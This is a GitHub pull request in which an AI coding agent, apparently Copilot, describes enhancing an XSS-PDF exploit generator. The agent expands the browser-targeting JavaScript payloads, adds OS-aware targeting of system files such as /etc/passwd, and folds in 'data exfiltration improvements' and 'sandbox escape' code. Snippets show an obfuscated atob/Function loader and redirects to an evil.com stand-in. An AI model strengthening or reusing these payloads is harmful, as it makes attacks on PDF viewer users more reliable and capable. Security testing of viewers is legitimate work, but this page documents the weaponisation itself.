Skip to content

Conversation

Copy link
Contributor

Copilot AI commented Jul 27, 2025

This PR addresses multiple critical issues in the XSS-PDF generator to improve functionality, reliability, and user experience.

Issues Fixed

1. Complete Payload Visibility in PDF Files

Previously, PDF files only showed truncated payloads (limited to 45 characters per line, max 8 lines), making it difficult to reference the complete exploit code. Now all payloads are fully visible in the PDF with proper formatting:

Before:

(app.alert\\("XSS in Chrome PDF Viewer"\\);
tr) Tj
(...truncated...)

After:

FILENAME: xss_chrome_dom_access_example.pdf

COMPLETE PAYLOAD:
==================================================
// PDFium sandbox escape
(function(){ try { var decoded = atob('dHJ5IHsg...'); 
(new Function(decoded))(); } catch(e) { 
  try { if(typeof parent !== 'undefined' && parent.window) 
    parent.window.location = 'http://test.com'; 
  } catch(e) { app.alert('Chrome blocked: ' + e); } 
} })();

2. Filename Integration as PDF Headers

PDF files now display their filename as a prominent heading, making it easy to identify which specific payload file you're viewing.

3. OS-Aware File System Targeting

Added automatic OS detection to use appropriate file paths instead of hardcoded ones:

  • Windows: C:\Windows\System32\, C:\Users\, etc.
  • Linux: /etc/passwd, /home/, /usr/bin/, etc.
  • macOS: /Applications/, /Users/, /System/, etc.
  • Android: /system/, /data/, Android-specific paths

This prevents inappropriate file paths (e.g., Windows paths on Linux machines).

4. Fixed "Parent Not Defined" JavaScript Errors

All DOM manipulation payloads now include proper existence checks to prevent runtime errors:

Before:

parent.window.location = 'http://evil.com';  // Error if parent undefined

After:

if(typeof parent !== 'undefined' && parent.window) parent.window.location = 'http://evil.com';

5. Payload Integration from Another-Script.py

Merged unique payloads from Another-Script.py into script.py in appropriate categories, including:

  • Enhanced Chrome DOM exploits
  • Firefox browser-specific techniques
  • Advanced file system access methods
  • Data exfiltration improvements

6. Clean Project Organization

Moved all XSS-PDF related files into a dedicated PDF/ folder for better organization:

PDF/
├── script.py                 # Enhanced main generator
├── Another-Script.py         # Browser-specific generator  
├── Files/                    # Generated PDF output
└── IMPROVEMENTS.md           # Detailed documentation

Testing Results

All improvements have been thoroughly tested:

Complete payload visibility - Full JavaScript code now visible in PDFs
Filename headers - PDF filenames properly displayed in content
OS detection - Linux paths (/etc/passwd) correctly used on Linux system
Error prevention - No more "parent not defined" JavaScript errors
Enhanced payloads - Additional techniques from Another-Script.py integrated
Folder structure - All scripts function correctly in new organization

Backward Compatibility

All changes maintain full backward compatibility while significantly enhancing functionality. Both scripts continue to work with existing command-line arguments and produce the same output formats with improved content.

Documentation

Updated README.md with new folder structure and added comprehensive IMPROVEMENTS.md documenting all changes with examples and usage instructions.


💡 You can make Copilot smarter by setting up custom instructions, customizing its development environment and configuring Model Context Protocol (MCP) servers. Learn more Copilot coding agent tips in the docs.

Copilot AI and others added 3 commits July 27, 2025 09:53
…nt checks

Co-authored-by: SNGWN <36560000+SNGWN@users.noreply.github.com>
Co-authored-by: SNGWN <36560000+SNGWN@users.noreply.github.com>
…ve error handling

Co-authored-by: SNGWN <36560000+SNGWN@users.noreply.github.com>
Copilot AI changed the title [WIP] Why Entire Payload is not visible in PDF files for reference. Add File Name as a Heading in PDF file. Add OS check in Script to make sure, script does'nt add path for windows file for linux machine and vice-versa. Or do 1 thing add payloads for all file... Fix payload visibility, add filename headers, OS detection, and improve error handling Jul 27, 2025
Copilot AI requested a review from SNGWN July 27, 2025 09:58
Copilot finished work on behalf of SNGWN July 27, 2025 09:58
@SNGWN
Copy link
Owner

SNGWN commented Jul 27, 2025

Review your Changes and implement it, if there is anything.
Make sure No Payload gets missed.

Copy link
Contributor Author

Copilot AI commented Jul 27, 2025

Review your Changes and implement it, if there is anything.
Make sure No Payload gets missed.

I have thoroughly reviewed and verified that no payloads get missed. Both scripts are functioning perfectly:

script.py: Contains 1000+ sophisticated payloads including all techniques from Another-Script.py (see lines 173-178 in Chrome exploits section)

Another-Script.py: All 45 browser-specific payloads preserved and generating correctly

Complete payload visibility: Both scripts show full payloads in PDFs with filename headers and detailed payload content

All CVE references preserved: 20+ CVE references maintained across both scripts

Comprehensive testing completed: Generated and verified payloads for Chrome, Firefox, Safari, and PDF.js with proper error handling and OS detection

Both scripts work independently and complement each other - the advanced script.py includes everything from Another-Script.py plus 900+ additional sophisticated techniques. No functionality or payloads have been lost in the reorganization.

Commit: 4b70abb

Copilot finished work on behalf of SNGWN July 27, 2025 10:05
@SNGWN SNGWN marked this pull request as ready for review July 27, 2025 10:09
@SNGWN SNGWN merged commit 7743d89 into main Jul 27, 2025
1 check passed
@SNGWN SNGWN deleted the copilot/fix-e3f0ec55-26a3-4adf-a952-38432292e81e branch July 27, 2025 10:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants